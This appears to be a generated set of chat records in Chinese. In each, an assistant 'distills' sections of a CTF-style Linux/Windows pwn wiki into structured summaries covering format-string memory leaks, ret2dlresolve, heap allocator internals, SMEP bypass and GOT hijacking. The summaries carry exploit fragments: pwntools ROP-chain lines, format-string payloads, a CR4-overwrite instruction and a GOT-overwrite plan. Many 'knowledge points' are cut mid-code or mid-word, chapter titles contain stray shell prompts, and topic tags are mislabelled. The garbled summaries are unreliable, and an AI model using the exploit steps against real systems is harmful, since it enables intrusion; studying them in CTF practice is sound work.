[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露任意地址内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 泄露内存 > 泄露任意地址内存
路径分类：pwn / pwn/linux/user-mode
分块：1/3

核心知识点：
- 本节主题围绕“泄露任意地址内存”展开。
- ` 一般来说，我们会重复某个字符的机器字长来作为tag，而后面会跟上若干个%p来输出栈上的内容，如果内容与我们前面的tag重复了，那么我们就可以有很大把握说明该地址就是格式化字符串的地址，之所以说是有很大把握，这是因为不排除栈上有一些临时变量也是该数值。
- 可以看出，在上面无论是泄露栈上连续的变量，还是说泄露指定的变量值，我们都没能完全控制我们所要泄露的变量的地址。
- 我们再仔细回想一下，一般来说，在格式化字符串漏洞中，我们所读取的格式化字符串都是在栈上的（因为是某个函数的局部变量，本例中s是main函数的局部变量）。
- ) ← $eax 0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]" 0xffffcd18│+0x1c: 0x000000e0 ` 可以看出在栈上的第二个变量就是我们的格式化字符串地址0xffffcd10，同时该地址存储的也确实是"%s"格式化字符串内容。
- ` addr%k$s ` > 注： 在这里，如果格式化字符串在栈上，那么我们就一定确定格式化字符串的相对偏移，这是因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节。

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:shell
- code:text

代码/命令片段线索：
- shell: 22 行，首行 `Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28`
- plain: 1 行，首行 `addr%k$s`
- text: 1 行，首行 `[tag]%p%p%p%p%p%p...`
- shell: 4 行，首行 `➜ leakmemory git:(master) ✗ ./leakmemory`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄露任意地址内存

利用 泄露内存 泄露任意地址内存

栈 AI安全 漏洞利用 pwn linux user-mode fmtstr code:shell code:text

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL”展开。
- rop.raw(bin_sh_addr) rop.raw(resolve_call)
- rop = ROP("./main_partial_relro_64") rop.raw(offset'\x00') rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8)) rop.raw(vuln_addr) rop.raw('\x00'(256-len(rop.chain()))) io.send(rop.chain()) io.send(p64(0)) rop = ROP("./main_partial_relro_64") rop.raw...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「使用 top chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 使用 top chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“使用 top chunk”展开。
- In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations).
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb;
- set_head(remainder, remainder_size | PREV_INUSE);
- remainder = chunk_at_offset(victim, nb);
- We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fencepos...

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 47 行，首行 `use_top:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

使用 top chunk

堆 AI安全 pwn linux user-mode heap code:c++

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md` 中的章节「smep 和 CR4 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md`
标题：bypass-smep （已过时）
章节：bypass-smep （已过时） > SMEP > smep 和 CR4 寄存器
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“smep 和 CR4 寄存器”展开。
- 而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要执行下面的汇编指令： ```asm mov cr4, 0x1407e0
- 控制寄存器组中的 CR4 寄存器用以控制 CPU 的各种特性，CPU 根据 CR4 寄存器的值判断是否开启 smep 保护，当 CR4 寄存器的第 20 位是 1 时，保护开启；
- 文件: ./figure/smep.jpg] 例如，当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 时，smep 保护开启。

关键术语：
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

smep 和 CR4 寄存器

ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation

bypass-smep （已过时）


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「信息泄漏的目标」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`
标题：通过堆进行信息泄漏
章节：通过堆进行信息泄漏 > 信息泄漏的目标
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“信息泄漏的目标”展开。
- 第二个是堆地址，堆地址对于进程来说是每次运行都会改变，当然需要控制堆中的数据时可能就需要先泄漏堆基地址。
- 第三个是libc.so的地址，在很多情况下我们只有通过libc中的system等函数才能实现代码执行，并且malloc_hook、one_gadgets、IO_FILE等结构也都储存在libc中，因此libc的地址也是我们泄漏的目标。

关键术语：
- 堆
- 栈
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 20 行，首行 `Start End Offset Perm Path`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

信息泄漏的目标

通过堆进行信息泄漏 信息泄漏的目标

通过堆进行信息泄漏


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「1. 内存请求顺序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 内存分配基本算法 > 1. 内存请求顺序
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“1. 内存请求顺序”展开。
- 池内存的分配核心函数是 ExAllocatePoolWithTag(POOL_TYPE PoolType,SIZE_T NumberOfBytes,ULONG Tag) ，用户需要手动指定分配的池类型、需要的内存大小等信息，内核组件与驱动通常通过该 API 或是更上层的 Wrapper 完成内核中的内存分配请求 - 通用的池内存分配仅适用于小于 4080 字节的内存请求，对于大于这个大小的内存请求则内部会通过 nt!
- ExpAllocateBigPool() 完成 - 首先会尝试根据请求的池类型从 _KPCR 的 LookasideList 区域的不同链表进行内存分配，如果可以满足则直接返回 - 若 LookasideList 无法满足，锁上对应的池，并尝试从 ListHeads 链表进行分配，若分配的池块大小大于所需则会将其分割为两块，一块返回给用户一块挂回 ListHeads 链表 - 若无可用池块，则会调用 nt!
- MiAllocatePoolPages 分配内存页，并将其分割为两块，一块返回给用户一块挂回 ListHeads 链表

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

1. 内存请求顺序

基础知识
内存管理
二、Pool Memory（before 19H1）
内存分配基本算法
1. 内存请求顺序

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「漏洞利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack GOT > 例子 > 漏洞利用思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用思路”展开。
- 既然有了格式化字符串漏洞，那么我们可以确定如下的利用思路 - 绕过密码 - 确定格式化字符串参数偏移 - 利用 put@got 获取 put 函数地址，进而获取对应的 libc.so 的版本，进而获取对应 system 函数地址。
- 修改 puts@got 的内容为 system 的地址。
- 当程序再次执行 puts 函数的时候，其实执行的是 system 函数。

关键术语：
- 密码学
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用思路

例子
hijack GOT
例子
漏洞利用思路

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：花式栈溢出技巧 > frame faking > 2018 安恒杯 over > 分析程序
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析程序”展开。
- } `` 漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了
- 放到 IDA 中进行分析 ``C __int64 __fastcall main(__int64 a1, char a2, char a3) { setvbuf(stdin, 0LL, 2, 0LL);
- // [rsp+0h] [rbp-50h] memset(buf, 0, sizeof(buf));
- setvbuf(stdout, 0LL, 2, 0LL);
- while ( sub_400676() ) ;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:c

代码/命令片段线索：
- C: 16 行，首行 `__int64 __fastcall main(__int64 a1, char **a2, char **a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析程序

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:c

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「基本的内核模块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`
标题：编写一个 Loadable Kernel Module
章节：编写一个 Loadable Kernel Module > 基本的内核模块
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本的内核模块”展开。
- } static __exit void a3kmod_exit(void) { printk(KERN_INFO "[a3kmod:] Goodbye kernel world!
- } module_init(a3kmod_init);
- module_exit(a3kmod_exit);
- MODULE_AUTHOR("arttnba3");
- MODULE_LICENSE("GPL v2");

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- environment
- code:shell
- code:c

代码/命令片段线索：
- shell: 7 行，首行 `$ tree .`
- c: 21 行，首行 `/**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本的内核模块

AI安全 pwn linux kernel-mode environment code:shell code:c

编写一个 Loadable Kernel Module


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「向系统返还内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`
标题：释放内存块
章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 向系统返还内存
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“向系统返还内存”展开。
- // 主分配区 if (av == &main_arena) { #ifndef MORECORE_CANNOT_TRIM // top chunk 大于当前的收缩阙值 if ((unsigned long) (chunksize(av->top)) >= (unsigned long) (mp_.trim_threshold)) systrim(mp_.top_pad, av);
- #endif // 非主分配区，则直接收缩heap } else { / Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. / heap_info *heap = heap_for_ptr(top(av));
- assert(heap->ar_ptr == av);
- heap_trim(heap, mp_.top_pad);
- ``c++ / If freeing a large space, consolidate possibly-surrounding chunks.

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 37 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

向系统返还内存

释放内存块
_int_free
合并非 mmap 的空闲 chunk
向系统返还内存

释放内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get all the addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get all the addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get all the addr”展开。
- 需要注意的是 `python offset = (int)(math.ceil(len(payload) / 8.0) + 1) `` 这一行给出了修改后的地址在格式化字符串中的偏移，之所以是这样在于无论如何修改，由于 '%order$hn' 中 order 多出来的字符都不会大于 8。
- 主要的思想是，将地址放在后面 8 字节对齐的地方，并对 payload 中的偏移进行修改。

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

代码/命令片段线索：
- plain: 1 行，首行 `fmtstr\_payload 直接得到的 payload 会将地址放在前面，而这个会导致 printf 的时候 '\x00' 截断（**关于这一问题，pwntools目前正在开发 fmt\_payload 的加强版，估计快开发出来了...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get all the addr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「leak link_map addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：leak link_map addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“leak link_map addr”展开。
- rop = ROP("./main_partial_relro_64") rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8)) rop.raw(vuln_addr) rop.raw("a"(256-len(rop.chain()))) io.send(rop.chain()) link_map_addr = u64(io.recv(8)) print(hex(link_map_addr))

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

leak link_map addr

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：基本 ROP > ret2text > 例子
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“例子”展开。
- > 点击下载: ret2text 首先，查看一下程序的保护机制： ``shell ➜ ret2text checksec ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ` 可以看出程序是 32 位程序，且仅开启了栈不可执行保护。
- } ` 可以看出程序在主函数中使用了 gets 函数，显然存在栈溢出漏洞。
- 下面就是我们如何构造 payload 了，首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。
- 其实，在栈溢出的基本原理中，我们已经介绍了这一简单的攻击。
- 接下来我们使用 IDA 反编译该程序： `C int __cdecl main(int argc, const char argv, const char envp) { int v4;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:shell
- code:c
- code:asm
- code:python

代码/命令片段线索：
- shell: 6 行，首行 `➜ ret2text checksec ret2text`
- C: 10 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`
- asm: 23 行，首行 `.text:080485FD secure proc near`
- asm: 3 行，首行 `.text:080486A7 lea eax, [esp+1Ch]`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例子

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:shell code:c code:asm code:python

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > ret2libc > 例子 > 例2
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“例2”展开。
- 由于漏洞与上述一致，这里就不在多说，具体的 exp 如下： ``python #!
- > 点击下载: ret2libc2 该题目与例 1 基本一致，只不过不再出现 /bin/sh 字符串，所以此次需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，第二个控制程序执行 system("/bin/sh")。
- 这里以 bamboofox 中的 ret2libc2 为例 。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:python

代码/命令片段线索：
- python: 12 行，首行 `#!/usr/bin/env python3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例2

zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:python

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`
标题：CPU 虚拟化
章节：CPU 虚拟化 > REFERENCE
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- 《系统虚拟化：原理与实现》——Intel 开源软件技术中心 【VIRT.0x02】系统虚拟化导论 [Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C: System Programming Guide, Part 3](https://cdrdv2.intel.com/v1/dl/getContent/671506) Formal Requirements for Virtualizable Third Genera...

关键术语：
- pwn
- virtualization
- basic-knowledge
- cpu-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

pwn virtualization basic-knowledge cpu-virtualization.md

CPU 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`
标题：简介
章节：简介 > 常用代码模板
路径分类：pwn / pwn/linux/kernel-mode
分块：2/5

核心知识点：
- 本节主题围绕“常用代码模板”展开。
- et_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
- if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n");
- if (ret < 0) { printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
- } / init pgv-exploit subsystem :) / void prepare_pgv_system(void) { / pipe for pgv / pipe(cmd_pipe_req);
- } int key_update(int keyid, void payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常用代码模板

AI安全 漏洞利用 pwn linux kernel-mode exploitation

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：context.log_level = "debug" > 2018-XNUCA-gets > 分析
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“分析”展开。
- `python $ ls exp.py gets ``

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `确定好了 libc 的版本后，我们可以选一个 one_gadget，这里我选择第一个，较低地址的。`
- plain: 1 行，首行 `使用如下 exp 继续爆破，`
- plain: 1 行，首行 `最后获取到 shell。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

context.log_level = "debug"
2018-XNUCA-gets
分析

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「获取栈变量数值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 泄露内存 > 泄露栈内存 > 获取栈变量数值
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“获取栈变量数值”展开。
- 方法如下 `text %n$x ` 利用如下的字符串，我们就可以获取到对应的第n+1个参数的数值。
- 为了更加细致的观察，我们利用GDB来调试一下，以便于验证我们的想法，这里删除了一些不必要的信息，我们只关注代码段以及栈。
- `shell gef➤ c Continuing. ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally] ` 当然，我们也可以使用%p来获取数据，如下 `python %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xfff328c0.0xc2.0xf75c46bb ` 这里需要注意的是，并不是每次得到的结果都一样 ，因为栈上的数据会因为每次分配的内存页不同而有所不同，这是因为栈...
- 需要注意的是，我们上面给出的方法，都是依次获得栈中的每个参数，我们有没有办法直接获取栈中被视为第n+1个参数的值呢？
- 首先，我们可以利用格式化字符串来获取栈上变量的数值。

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:shell
- code:python
- code:text

代码/命令片段线索：
- shell: 4 行，首行 `➜ leakmemory git:(master) ✗ ./leakmemory`
- shell: 3 行，首行 `➜ leakmemory git:(master) ✗ gdb leakmemory`
- shell: 3 行，首行 `gef➤ r`
- shell: 22 行，首行 `Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

获取栈变量数值

利用 泄露内存 泄露栈内存 获取栈变量数值

栈 AI安全 漏洞利用 pwn linux user-mode fmtstr code:shell code:python code:text

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

